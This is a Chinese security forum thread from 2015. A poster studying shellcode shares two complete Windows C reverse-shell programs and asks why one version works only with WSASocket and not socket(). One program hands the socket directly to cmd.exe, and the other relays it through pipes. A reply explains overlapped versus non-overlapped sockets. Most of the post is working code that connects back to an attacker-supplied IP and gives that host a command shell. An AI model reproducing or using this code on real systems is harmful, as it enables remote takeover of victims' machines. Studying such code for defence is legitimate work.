首页
社区
课程
招聘
[求助]socket与wsasocket的区别?
发表于: 2015-7-24 15:13 6296

[求助]socket与wsasocket的区别?

2015-7-24 15:13
6296
这段时间理了理常见类型的shellcode,其中在过connect back类型时,遇到了一点疑惑的地方。
先上代码,下面是windows下connect back的c代码:
// create "cmd" shell and redirect the input/output
BOOL open_shell(HANDLE hInput, HANDLE hOutput)
{
  PROCESS_INFORMATION pi;
  STARTUPINFO si;
  memset(&si, 0, sizeof(STARTUPINFO));

  si.cb = sizeof(STARTUPINFO);
  si.dwFlags |= STARTF_USESTDHANDLES;
  si.hStdInput = hInput;
  si.hStdOutput = hOutput;
  si.hStdError = hOutput;


  TCHAR cmd_line[MAX_PATH];
  _sntprintf_s(cmd_line, MAX_PATH, _T("%s"), _T("cmd.exe"));


  if (CreateProcess(NULL, cmd_line, NULL, NULL, true, 0, NULL, NULL, &si, &pi))
  {
    g_hProcess = pi.hProcess;
    CloseHandle(pi.hThread);
    return TRUE;
  }

  return FALSE;
}




int _tmain(int argc, _TCHAR* argv[])
{

  if (argc < 3)
  {
    Usage();
    return -1;
  }

  short tport;
  if ((tport = _ttoi(argv[2])) == 0)
  {
    fprintf(stderr, "target port number error\n");
    return -1;
  }


  // initial socket
  WSADATA wsa;
  if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0){
    fprintf(stderr, "Initial socket error:%d\n", GetLastError());
    return -1;
  }



  // create socket
  SOCKET server_socket;
  //if ((server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  if ((server_socket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET)
  {
    fprintf(stderr, "Create socket error:%d\n", GetLastError());
    return -1;
  }

  // get target ip
  char target_ip[20];
  unsigned long ip;
  if ((tchar2char(argv[1], target_ip, sizeof(target_ip)) == -1) ||
    (ip = inet_addr(target_ip)) == INADDR_NONE)
  {
    fprintf(stderr, "Target ip error!\n");
    return -1;
  }

  printf("Connect back to %s:%d\n", target_ip, tport);


  sockaddr_in server_addr;
  memset(&server_addr, 0, sizeof(server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_addr.S_un.S_addr = ip;
  server_addr.sin_port = htons(tport);

  // connect to server
  if (connect(server_socket,
    (sockaddr *)&server_addr,
    sizeof(server_addr)) == SOCKET_ERROR)
  {
    fprintf(stderr, "Connect to target server error:%d\n", GetLastError());
    return -1;
  }


  if (open_shell((HANDLE)server_socket, (HANDLE)server_socket) == false)
  {
    fprintf(stderr, "Open cmd shell error: %d\n", GetLastError());
    return -1;
  }
  
  CloseHandle(g_hProcess);
  ExitProcess(GetLastError());

  return 0;
}

利用nc作为server端进行监听,这份代码可以工作,本人存在疑惑的地方时,将WSASocket函数换成Socket函数,这份代码就工作不了,也查看了网上的一些关于两者的差别,但仍没能清楚个中原因,还望大家多多指点!

用Socket函数也不是不可以,查看了一下msdn上关于重定向std的方法,可以通过pipe来中转shell与socket的输入输出,代码如下:
// recv command from server, redirect the command to "cmd" shell, and
// send the result to server
bool wait_for_command(SOCKET s, char *recv_buf, int buf_bytes, HANDLE hInputPipe, HANDLE hOutputPipe)
{
  int recv_len = recv(s, recv_buf, buf_bytes, 0);
  recv_buf[recv_len] = '\0';

  if (strcmp(recv_buf, "quit\r\n") == 0)
  {
    return false;
  }
  printf(">>%s", recv_buf);

  DWORD bytes_written = 0;
  WriteFile(hInputPipe, recv_buf, recv_len, &bytes_written, NULL);

  Sleep(10);

  DWORD bytes_available = 0;
  DWORD bytes_readed = 0;
  PeekNamedPipe(hOutputPipe, NULL, NULL, NULL, &bytes_available, NULL);  // check whether data is available
  while (bytes_available > 0)
  {
    ReadFile(hOutputPipe, recv_buf, buf_bytes, &bytes_readed, NULL);
    if (send(s, recv_buf, bytes_readed, NULL) == SOCKET_ERROR)
    {
      printf("Send message error: %d\n", GetLastError());
      return false;
    }
    bytes_available -= bytes_readed;
    
  }

  return true;
}

int _tmain(int argc, _TCHAR* argv[])
{

  if (argc < 3)
  {
    Usage();
    return -1;
  }

  short tport;
  if ((tport = _ttoi(argv[2])) == 0)
  {
    fprintf(stderr, "target port number error\n");
    return -1;
  }

  
  // initial socket
  WSADATA wsa;
  if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0){
    fprintf(stderr, "Initial socket error:%d\n", GetLastError());
    return -1;
  }


  
  // create socket
  SOCKET server_socket;
  if ((server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  {
    fprintf(stderr, "Create socket error:%d\n", GetLastError());
    return -1;
  }

  // get target ip
  char target_ip[20];
  unsigned long ip;
  if ((tchar2char(argv[1], target_ip, sizeof(target_ip)) == -1) || 
    (ip = inet_addr(target_ip)) == INADDR_NONE)
  {
    fprintf(stderr, "Target ip error!\n");
    return -1;
  }
  
  printf("Connect back to %s:%d\n", target_ip, tport);


  sockaddr_in server_addr;
  memset(&server_addr, 0, sizeof(server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_addr.S_un.S_addr = ip;
  server_addr.sin_port = htons(tport);

  // connect to server
  if (connect(server_socket, 
    (sockaddr *)&server_addr, 
    sizeof(server_addr)) == SOCKET_ERROR)
  {
    fprintf(stderr, "Connect to target server error:%d\n", GetLastError());
    return -1;
  }


  // create pipe
  SECURITY_ATTRIBUTES sa;
  sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  sa.bInheritHandle = TRUE;
  sa.lpSecurityDescriptor = NULL;
  HANDLE hInputRead, hOutputRead, hInputWrite, hOutputWrite;

  CreatePipe(&hInputRead, &hInputWrite, &sa, RECV_BUF_SIZE);
  CreatePipe(&hOutputRead, &hOutputWrite, &sa, RECV_BUF_SIZE);


  // open cmd shell
  char recv_buf[RECV_BUF_SIZE];
  if (open_shell(hInputRead, hOutputWrite) == false) // 这个函数的实现跟上面是一样的,就不贴了
  {
    fprintf(stderr, "Open cmd shell error: %d\n", GetLastError());
    return -1;
  }
  
  // recv command from server
  bool do_continue = true;
  while (do_continue)
  {
    do_continue = wait_for_command(server_socket, recv_buf, sizeof(recv_buf), hOutputRead, hInputWrite);

  }

  CloseHandle(hInputRead);
  CloseHandle(hInputWrite);
  CloseHandle(hOutputRead);
  CloseHandle(hOutputWrite);
  closesocket(server_socket);
  WSACleanup();
  TerminateProcess(g_hProcess, GetLastError());
  CloseHandle(g_hProcess);
  return 0;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 627
活跃值: (663)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
2
overlapped socket与nonoverlapped的区别,对应于asynchronous和synchronous I/O操作。

socket函数缺省情况创建的Socket具有overlapped属性。

Socket overlapped I/O versus blocking/nonblocking mode
Please note that once a socket is created, there is no way to change the socket overlapped attribute. However, you can call the setsockopt API with SO_OPENTYPE option on any socket handles including an INVALID_SOCKET to change the overlapped attributes for all successive socket calls in the same thread. The default SO_OPENTYPE option value is 0, which sets the overlapped attribute. All nonzero option values make the socket synchronous and make it so that you cannot use a completion function.

即可以用setsockopt函数将Socket Options设置SO_OPENTYPE为非0的值,这样同一线程中后续的Socket调用就是non-overlapped的。
在MSWSock.h中定义了用于同步访问的SO_OPENTYPE:
[FONT="Courier"]/*
 * Option for opening sockets for synchronous access.
 */
#define SO_OPENTYPE                 0x7008[/FONT]

你可以试试,但是MSDN不建议这样做,而推荐用WSASocket
[FONT="Courier"]SOCKET WSASocket(
  _In_ int                af,
  _In_ int                type,
  _In_ int                protocol,
  _In_ LPWSAPROTOCOL_INFO lpProtocolInfo,
  _In_ GROUP              g,
  _In_ DWORD              dwFlags
);[/FONT]

上面代码中,server_socket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0),最后的参数dwFlags=0,表明这是一个nonoverlapped的Socket。
你可以测试一下,将最后一个参数设为1(#define WSA_FLAG_OVERLAPPED 0x01 // in WinSock2.h),恐怕WSASocket也不能工作。

失败的原因与服务端的工作模式有关,可能它只是一个简单的服务器,比如用的是accept函数来侦听入站连接,只允许同步I/O等。
这些函数都在Ws2_32.dll里,而AcceptEx则位于Socket架构更底层的Mswsock.dll里,它是Windows下实现高性能、可扩展的IOCP Server的唯一选择。

Socket Architecture
上传的附件:
2015-7-25 10:04
0
雪    币: 93
活跃值: (52)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
测试了下是这样的,非常感谢
2015-7-25 21:17
0
游客
登录 | 注册 方可回帖
返回
//